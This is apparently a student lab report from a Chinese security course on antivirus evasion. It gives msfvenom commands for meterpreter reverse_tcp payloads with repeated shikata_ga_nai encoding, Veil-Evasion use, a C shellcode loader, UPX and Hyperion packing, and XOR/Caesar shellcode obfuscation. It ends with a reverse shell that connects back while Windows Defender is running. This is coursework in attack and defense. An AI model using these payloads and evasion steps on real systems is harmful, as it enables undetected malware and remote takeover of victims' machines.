20232306 2025-2026-1 《网络与系统攻防技术》实验三实验报告
1.实践内容
(1)正确使用msf编码器,veil-evasion,自己利用shellcode编程等免杀工具或技巧
正确使用msf编码器,使用msfvenom生成如jar之类的其他文件
veil,加壳工具
使用C + shellcode编程
(2)通过组合应用各种技术实现恶意代码免杀
如果成功实现了免杀的,简单语言描述原理,不要截图。与杀软共生的结果验证要截图。
(3)用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
2.实验要求
掌握免杀原理与技术
回答问题
(1)杀软是如何检测出恶意代码的?
特征码扫描、启发式分析、行为监控、实时防护
(2)免杀是做什么?
是网络安全领域中通过技术手段绕过杀毒软件检测的技术,其核心目标是让恶意代码在不被查杀的情况下执行攻击行为
(3)免杀的基本方法有哪些?
免杀技术通过多维度对抗杀毒软件的检测机制,其核心在于隐藏恶意特征、伪装正常行为、规避环境监控。如加壳,修改代码,修改文件属性等。
2.实验过程
2.1 正确使用msf编码器,veil-evasion,自己利用shellcode编程等免杀工具或技巧
2.1.1 正确使用msf编码器,使用msfvenom生成文件。
首先在kali中输入msfvenom --list formats查看msfvenom支持的所有输出格式:

然后输入msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.8.134 LPORT=2306 -f exe > 20232306.exe生成payload(192.168.8.134是kali的IP地址):

将文件拖入桌面,使用 http://www.virscan.org/进行检测:

(Ps:这里不说真的难受,virustotal的人机识别我来来回回做了好几次都没过,只能更换,但是virscan的检测速度一言难尽。)
输入msfvenom --list encoders查看msfvenom支持的所有编码方式:


输入msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00' LHOST=192.168.8.134 LPORT=23065 -f exe > 20232306_1.exe使用编码器对payload进行编码:

检测结果如下:

输入msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' LHOST=192.168.8.134 LPORT=2306 -f exe > 20232306_2.exe多次编码(-i 10表示编码10次):

检测结果如下:

输入msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.8.134 LPORT=2306 -f jar > 20232306_3.jar选择一个适用于Java环境的payload来生成jar文件:

检测结果如下:

输入msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.8.134 LPORT=2306 -e x86/shikata_ga_nai -i 10 -f jar > 20232306_4.jar使用编码器对payload进行编码:

检测结果如下:

输入msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.8.134 LPORT=2306 -f elf > 20232306_5.elf生成一个反向TCP连接的Linux elf可执行文件:

检测结果如下:

输入msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.8.134 LPORT=2306 -e x86/shikata_ga_nai -i 10 -f elf > 20232306_6.elf使用编码器对payload进行编码:

检测结果如下:

2.1.2 使用veil工具加壳工具
依次输入以下命令,安装veil:
mkdir -p ~/.cache/wine,
cd ~/.cache/wine
wget http://dl.winehq.org/wine/wine-gecko/2.47/wine_gecko-2.47-x86.msi:
wget http://dl.winehq.org/wine/wine-gecko/2.47/wine_gecko-2.47-x86_64.msi:
sudo apt-get install libncurses5;
sudo apt-get install libavutil55:
sudo apt-get install gcc-mingw-w64:
sudo apt-get install wine32:






此时出现报错

输入dpkg --add-architecture i386,sudo apt-get update,sudo apt-get install wine32:


(进程太多了,就只截下来一部分)
再依次输入:apt-get install veil:

(此时此刻我大概明白了为什么我的室友说他的虚拟机内存不够导致实验失败)
cd /usr/share/veil/config/,进入这个文件夹

然后是vim setup.sh,翻到图示位置:
按i进入编辑模式,把下载地址换成https://gitee.com/spears/VeilDependencies.git,按ESC键,输入:wq退出。
输入veil进行安装,过程中需要安装多个程序,一路默认安装:


发现报错,输入sudo /usr/share/veil/config/setup.sh --force --silent继续安装:

输入veil:

输入use evasion,进入Evil—Evasion:

输入list,查看可使用的payload类型:

输入use 7使用c/meterpretermrev_tcp.py:

依次输入:
set LHOST 192.168.8.134,set LPORT 2306,generate:

输入生成的文件名称:20232306_veil:

输入exit退出后输入cd /var/lib/veil/output/compiled/,进入文件夹,输入ls查看生成的.exe可执行文件:

使用virscanl进行检测,检测结果如下:

2.1.3 使用C + shellcode编程
输入msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.8.134 LPORT=2306 -f c(其中LHOST为Kali的IP地址):

(记得复制下来,后面要用。)
输入touch 20232306.c和vim 20232306.c新建文件,并进行编辑,
按i将使用msfvenom生成的buf[]数组复制粘贴到打开的文件中,并输入C语言代码:
int main()
{
int (func)() = (int(*)())buf;
func();
}

(做这步时记得把第一行粘贴进去,我第一次就是因为少了第一行失败的。)
输入i686-w64-mingw32-g++ 20232306.c -o 20232306.exe和ls:

使用VirusTotal进行检测:

(此处我也不理解,可能是两个不同网站检查的内容不完全相同,但是我试过再做一次,结果一样)
2.1.4 加壳工具
输入upx 20232306.exe -o upx20232306.exe进行upx加壳:

输入cp upx20232306.exe /usr/share/windows-resources/hyperion进行hyperion加壳:;
输入cd /usr/share/windows-resources/hyperion进入文件夹;
输入ls查看生成的可执行文件:

输入wine hyperion.exe -v upx20232306.exe upx20232306_1.exe:

对两个.exe文件使用VirusTotal进行检测:


2.2 通过组合应用各种技术实现恶意代码免杀
2.2.1 msfvenom多次编码+压缩加壳
输入msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 24 -b '\x00' LHOST=192.168.8.134 LPORT=2306 -f exe >20232306_4.exe:

再输入upx 20232306_7.exe -o upx20232306_2.exe利用多次编码方式生成后门软件并进行加壳处理:

上传至VirusTotal检测:

2.2.2 C+shellcode编码+异或处理
输入msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.8.134 LPORT=2306 -f c通过msfvenom生成Shellcode数组:

输入touch 20232306_8.c新建文件和vim 20232306_8.c输入代码:

代码功能为将复制内容放入shellcode1[]数组中,通过代码将shellcode1进行凯撒加密,
并在同文件夹下新建空文件20232306_9.txt

输入gcc 20232306_8.c -o 20232306_8.exe和./20232306_8.exe:

此时密文已经输入到其中了:

(此图是因为我没看见在虚拟机里打开的文件,在Windows中用txt打开的)
将密文替换入程序中,修改代码如下:

检测结果如下:

很明显,我们获得了极大的改善。
2.3 用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本(杀毒软件是Microsoft Defender 防病毒,版本是最新的)
输入命令msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 3 -b '\x00' LHOST=192.168.8.134 LPORT=2306 -f raw >20232306.raw:

将生成的文件20232306.raw拖入windows中:

在我尝试打开.raw文件时,电脑有提示。
另一台电脑使用的是win11自带的Windows安全中心
接下来在kali中输入msfconsole进入控制台:

再依次输入
use exploit/multi/handler配置监听模块,
set payload windows/meterpreter/reverse_tcp使用和生成后门程序时相同的payload,
set LHOST 192.168.8.134使用kali的IP,需要和之前生成后门程序时设置的IP相同,
set LPORT 2306设置端口,需要和之前生成后门程序时设置的端口相同:

安装 - shellcode_launcher(https://gitee.com/vantler/shellcode_launcher/blob/master/shellcode_launcher.exe):
在win的命令行中输入shellcode_launcher.exe -i 20232306.raw来启动文件:

接下来在kali中继续输入exploit:

此时输入ls出现目录,这说明我们的病毒侵入成功:


3.问题及解决方案
问题1:如图

问题1解决方案:在第一行加上#include<stdio.h>
最后加上return 0;

4.学习感悟、思考
本次实验我约到了很多问题,但是学长的实验报告给了我很大启发,帮助我顺利完成实验。我也在其中了解了免杀技术,其实感受到了网络攻击的危险性。

浙公网安备 33010602011771号